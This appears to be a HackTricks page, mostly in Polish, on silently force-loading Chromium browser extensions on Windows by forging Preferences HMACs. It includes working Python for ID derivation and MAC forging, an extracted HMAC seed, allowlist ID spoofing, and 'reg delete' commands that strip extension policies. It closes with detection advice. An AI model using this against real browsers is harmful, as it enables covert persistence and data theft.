Forced Extension Load & Preferences MAC Forgery (Windows)
Reading time: 8 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przegląd
Stealthy post-exploitation technique pozwalająca wymusić załadowanie dowolnych rozszerzeń w przeglądarkach opartych na Chromium na Windows poprzez edycję użytkownika Preferences/Secure Preferences i podrobienie prawidłowych HMACs dla zmodyfikowanych węzłów. Działa przeciwko Chrome/Chromium, Edge i Brave. Stwierdzono zastosowanie od Chromium 130 do 139 w momencie publikacji. Prosty disk write primitive w profilu ofiary wystarcza, by utrwalić pełnoprawne rozszerzenie bez flag na command-line i bez monitów dla użytkownika.
Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.
Gdzie przechowywany jest stan rozszerzeń (Windows)
- Non–domain‑joined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
- Domain‑joined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Kluczowe węzły używane przez Chromium:
- extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
- protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
- Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
Uproszczony schemat (ilustracyjny):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
Notatki:
- Edge/Brave utrzymują podobne struktury. Wartość protection seed może się różnić (zaobserwowano, że Edge/Brave w niektórych buildach używają null/other seed).
ID rozszerzeń: ścieżka vs key i jak je uczynić deterministycznymi
Chromium wyprowadza ID rozszerzenia w następujący sposób:
- Rozszerzenie spakowane/podpisane: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
- Nie-spakowane (brak key w manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
Aby utrzymać stabilne ID między hostami, osadź stały base64 DER public key w manifest.json pod "key". ID zostanie wyprowadzone z tego key zamiast ze ścieżki instalacji.
Helper to generate a deterministic ID and a key pair:
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
Dodaj wygenerowany klucz publiczny do pliku manifest.json, aby zablokować ID:
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Forging Preferences integrity MACs (core bypass)
Chromium chroni preferencje za pomocą HMAC‑SHA256 obliczanego dla "path" + zserializowanej wartości JSON każdego węzła. Nasiono HMAC jest osadzone w resources.pak przeglądarki i było ważne do Chromium 139.
Wyodrębnij nasiono za pomocą GRIT pak_util i zlokalizuj kontener nasiona (file id 146 w testowanych buildach):
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
Oblicz MACs (uppercase hex) jako:
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
Minimalny przykład w Pythonie:
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
Zapisz wartości pod:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
Wskazówki implementacyjne
- Użyj dokładnie tej samej serializacji JSON, której używa Chromium przy obliczaniu MACs (skompaktowany JSON bez białych znaków jest w praktyce bezpieczny; sortowanie kluczy może pomóc uniknąć problemów z kolejnością).
- Upewnij się, że extensions.ui.developer_mode istnieje i jest podpisane w Chromium ≥134, inaczej twoje unpacked entry nie zostanie aktywowane.
End‑to‑end silent load flow (Windows)
- Wygeneruj deterministyczne ID i osadź "key" w manifest.json; przygotuj unpacked MV3 extension z żądanymi uprawnieniami (service worker/content scripts)
- Utwórz extensions.settings.
osadzając manifest i minimalne metadata instalacyjne wymagane przez Chromium (state, path for unpacked, itp.) - Wyodrębnij HMAC seed z resources.pak (file 146) i oblicz dwa MACs: jeden dla węzła settings i jeden dla extensions.ui.developer_mode (Chromium ≥134)
- Zapisz spreparowane węzły i MACs do Preferences/Secure Preferences docelowego profilu; następne uruchomienie auto‑activate twoje rozszerzenie ze wszystkimi zadeklarowanymi uprawnieniami
Bypassing enterprise controls
- Whitelisted extension hash spoofing (ID spoofing)
- Zainstaluj dozwolone Web Store extension i zanotuj jego ID
- Uzyskaj jego public key (np. przez chrome.runtime.getManifest().key w background/service worker lub pobierając/parsując .crx)
- Ustaw ten key jako manifest.key w zmodyfikowanym rozszerzeniu, aby odtworzyć to samo ID
- Zarejestruj wpis w Preferences i podpisz MACs → ExtensionInstallAllowlist sprawdzenia, które dopasowują się tylko po ID, zostają ominięte
-
Extension stomping (ID collision precedence)
-
Jeśli lokalne unpacked extension ma to samo ID co zainstalowane Web Store extension, Chromium preferuje unpacked. To skutecznie zastępuje legalne rozszerzenie w chrome://extensions przy zachowaniu zaufanego ID. Potwierdzone na Chrome i Edge (np. Adobe PDF)
-
Neutralizing GPO via HKCU (requires admin)
-
Chrome/Edge policies znajdują się pod HKCU\Software\Policies*
-
Mając uprawnienia administratora, usuń/modyfikuj klucze polityk przed zapisaniem swoich wpisów, aby uniknąć blokad:
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
Hałaśliwe obejście: ładowanie z wiersza poleceń
Od Chromium ≥137, --load-extension wymaga również przekazania:
--disable-features=DisableLoadExtensionCommandLineSwitch
This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.
Related flags and more cross‑platform tricks are discussed here:
Wpływ operacyjny
Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences.
Wykrywanie i zabezpieczanie
- Monitor for non‑Chromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries
- Alert on unexpected toggling of extensions.ui.developer_mode and on HMAC‑valid but unapproved extension entries
- Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management
- Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID
Referencje
- The Phantom Extension: Backdooring chrome through uncharted pathways
- pak_util.py (GRIT)
- SecurePreferencesFile (prior research on HMAC seed)
- CursedChrome
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.